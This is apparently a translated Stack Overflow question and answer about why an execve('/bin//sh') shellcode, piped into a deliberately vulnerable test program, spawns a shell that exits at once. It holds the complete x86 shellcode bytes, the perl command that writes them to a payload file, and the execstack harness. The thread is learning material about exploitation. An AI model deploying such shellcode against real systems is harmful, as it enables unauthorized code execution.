【问题标题】:Shell launched from shellcode immediatly stop upon launching从 shellcode 启动的 Shell 在启动时立即停止
【发布时间】:2017-10-18 21:02:59
【问题描述】:

我会先说我做了研究,但找不到我的基本问题的答案。

我想通过一个基本程序从一个 shellcode 启动一个 shell。 这是使用的 shellcode,现在应该可以工作了:

 0:    31 c0                    xor    eax, eax
 2:    50                       push   eax
 3:    68 2f 2f 73 68           push   0x68732f2f
 8:    68 2f 62 69 6e           push   0x6e69622f
 d:    89 e3                    mov    ebx, esp
 f:    50                       push   eax
10:    53                       push   ebx
11:    89 e1                    mov    ecx, esp
13:    b0 0b                    mov    al, 0xb
15:    31 d2                    xor    edx, edx
17:    cd 80                    int    0x80

奇怪的是这个 shellcode 在这样使用时可以工作:

char *shellcode = "\x31[...]x80";  
int main(void)  
{  
    (*(void(*)()) shellcode)();  
    return 0;  
}

但在使用此程序从标准输入读取时不会(使用以下标志编译:

gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):

代码:

#include [...]
typedef void (*func)(void);
int main(void)
{
    char input[4096];
    read(0, input, 4096);
    ((func)&input)();
    return 0;
}

第二个程序发生的情况是程序直接退出,没有错误代码,也没有生成 shell。

Strace 告诉我,在第二个程序中,shell 已正确启动:

read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL)  = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]

但是这条接近尾声的行非常可疑,因为我没有被要求做任何事情:

read(0, "", 8192)                       = 0

似乎我以某种方式向生成的外壳发送了一个空字节,它杀死了它。我首先虽然我没有正确设置我的 shellcode 文件,但这些是我使用的命令:

perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin

我也尝试过使用这个命令,但得到了相同的结果:

perl -e 'print "[...]" | ./vuln

我还检查了文件中的字符,但文件重量为 25 oct。对于相同大小的 shellcode,所以这应该不是问题。

我是在使用正确的方法从标准输入提供 shellcode 还是有其他方法? 如果不是,问题出在哪里?

谢谢

【问题讨论】:

    标签: linux bash shell shellcode


    【解决方案1】:

    问题在于,在第二个程序中,您已将标准输入重定向到管道。生成的 shell 尝试从管道中读取,得到 EOF,因此退出。

    您可以在运行 shellcode 之前将标准输入重定向回终端。

    #include [...]
    typedef void (*func)(void);
    int main(void)
    {
        char input[4096];
        read(0, input, 4096);
        freopen("/dev/tty", "r", stdin);
        ((func)&input)();
        return 0;
    }
    

    【讨论】:

    • 我忘记包含编译第二个代码时使用的标志,这与您链接的文章中的标志相同。此外,第二个程序似乎在关闭它之前启动了一个 shell,因为从 stdin 读取了空字符,所以如果我没记错的话,执行预防不应该是问题(也禁用了 ASLR)。
    • 我改变了答案。
    • 感谢您的回答!但我确实有一个问题:我试图从中生成 shell 的程序是一个练习,无法更改:p 所以我尝试使用一些比重定向标准输入更简单的东西:cat payload | ./vuln。但是,这在我的情况下不起作用,我也不知道如何使用 gdb/strace 调试它以查看发生了什么。我尝试了这个线程stackoverflow.com/q/1456253/8797854 给出的解决方案,但我仍然遇到同样的问题。有什么想法吗?
    • cat payload | ./vul 正在重定向标准输入,它将其重定向到管道。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-10-31
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-07-19
    相关资源
    最近更新 更多